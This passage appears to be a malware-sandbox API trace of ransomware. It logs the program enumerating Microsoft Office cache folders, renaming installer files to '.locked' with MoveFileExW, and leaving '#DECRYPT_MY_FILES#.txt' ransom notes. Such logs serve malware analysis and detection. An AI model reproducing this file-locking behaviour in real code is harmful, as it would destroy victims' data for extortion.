ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb68aede0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb68aede0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfa, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0032.812] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb68aede0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb68aede0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfa, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0032.812] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb68aede0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb68aede0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb68aede0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0xfa, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.812] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x819f68, dwReserved1=0x42c478, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0032.812] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0032.812] AreFileApisANSI () returned 1 [0032.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 91 [0032.815] AreFileApisANSI () returned 1 [0032.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 91 [0032.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 98 [0032.815] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.locked"), dwFlags=0x2) returned 1 [0032.816] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x3, dwReserved1=0x3, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0032.816] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0032.816] AreFileApisANSI () returned 1 [0032.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0033.633] AreFileApisANSI () returned 1 [0033.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0033.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 97 [0033.633] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.locked"), dwFlags=0x2) returned 1 [0033.634] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0033.634] FindClose (in: hFindFile=0x8258d0 | out: hFindFile=0x8258d0) returned 1 [0033.634] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0033.634] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0033.634] AreFileApisANSI () returned 1 [0033.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.636] AreFileApisANSI () returned 1 [0033.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0033.637] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.locked"), dwFlags=0x2) returned 1 [0033.637] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0033.637] AreFileApisANSI () returned 1 [0033.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0033.641] AreFileApisANSI () returned 1 [0033.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0033.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.641] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0033.642] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0033.642] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0033.642] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1 [0033.642] AreFileApisANSI () returned 1 [0033.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0033.645] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb70916c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb70916c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0033.645] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb70916c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb70916c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0033.645] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb70916c0, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb70916c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb70916c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.645] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0033.645] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0033.645] AreFileApisANSI () returned 1 [0033.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0033.654] AreFileApisANSI () returned 1 [0033.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0033.654] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0033.654] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.locked" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.locked"), dwFlags=0x2) returned 1 [0033.655] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x3, dwReserved1=0x3, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0033.655] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x3, dwReserved1=0x3, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0033.655] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x3, dwReserved1=0x3, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0033.655] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x3, dwReserved1=0x3, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0033.655] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x3, dwReserved1=0x3, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0033.655] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0033.655] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0033.655] AreFileApisANSI () returned 1 [0033.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0033.686] AreFileApisANSI () returned 1 [0033.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0033.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0033.686] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.locked" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.locked"), dwFlags=0x2) returned 1 [0033.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x3, dwReserved1=0x3, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0033.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x3, dwReserved1=0x3, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0033.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x3, dwReserved1=0x3, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0033.697] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0033.697] AreFileApisANSI () returned 1 [0033.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0033.733] AreFileApisANSI () returned 1 [0033.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0033.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.733] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0033.733] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0033.733] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0033.733] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0033.733] AreFileApisANSI () returned 1 [0033.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0033.736] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, 